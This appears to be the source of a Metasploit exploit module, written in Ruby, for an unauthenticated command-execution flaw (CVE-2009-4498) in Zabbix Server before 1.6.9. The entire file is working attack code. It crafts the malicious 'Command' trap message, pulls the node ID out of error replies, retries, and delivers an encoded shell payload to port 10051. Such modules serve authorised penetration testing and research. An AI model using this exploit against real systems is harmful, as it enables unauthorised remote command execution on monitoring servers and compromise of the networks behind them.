143 lines
3.9 KiB
Ruby
143 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zabbix Server Arbitrary Command Execution',
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'Description' => %q{
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This module abuses the "Command" trap in Zabbix Server to execute arbitrary
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commands without authentication. By default the Node ID "0" is used, if it doesn't
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work, the Node ID is leaked from the error message and exploitation retried.
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According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
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has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
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},
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'Author' =>
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[
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'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-4498' ],
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[ 'OSVDB', '60965' ],
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[ 'BID', '37989' ],
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[ 'EDB', '10432' ],
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[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet',
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# *_perl, *_python and *_ruby work if they are installed
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}
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},
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'Targets' =>
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[
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[ 'Zabbix 1.6.7', { } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 10 2009'
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))
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register_options(
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[
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Opt::RPORT(10051),
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])
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end
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def send_command(sock, node_id, cmd)
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host_id = Rex::Text.rand_text_numeric(3)
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msg = "Command\255"
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msg << "#{node_id}\255"
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msg << "#{host_id}\255"
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msg << "#{cmd}\n"
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sock.put(msg)
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res = sock.get_once
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return res
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end
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def check
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peer = "#{rhost}:#{rport}"
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node_id = 0
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clue = Rex::Text.rand_text_alpha(rand(5)+5)
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cmd = "echo #{clue}"
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connect
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vprint_status("Sending 'Command' request...")
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res = send_command(sock, node_id, cmd)
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disconnect
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if res
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vprint_status(res)
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if res =~ /#{clue}/
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return Exploit::CheckCode::Vulnerable
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elsif res =~ /-1/ and res=~ /NODE (\d*)/
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node_id = $1
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vprint_good("Node ID #{node_id} discovered")
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else
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return Exploit::CheckCode::Safe
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end
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else # No response
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return Exploit::CheckCode::Safe
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end
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# Retry with the good node_id
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connect
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vprint_status("Sending 'Command' request with discovered Node ID...")
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res = send_command(sock, node_id, cmd)
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disconnect
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if res and res =~ /#{clue}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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node_id = 0
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cmd = payload.encoded
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connect
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print_status("Sending 'Command' request...")
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res = send_command(sock, node_id, cmd)
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disconnect
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if res and res =~ /-1/ and res=~ /NODE (\d*)/
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# Retry with the good node_id
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node_id = $1
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print_good("Node ID #{node_id} discovered")
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connect
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print_status("Sending 'Command' request with discovered Node ID...")
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res = send_command(sock, node_id, cmd)
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disconnect
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end
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# Read command output from socket if cmd/unix/generic payload was used
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if (datastore['CMD'])
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if res and res =~ /\x30\xad/
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print_good("Command executed successfully")
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print_status("Output:\n#{res.split("\x30\xad").last}")
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else
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print_error("Failed to execute the command")
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end
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end
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end
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end
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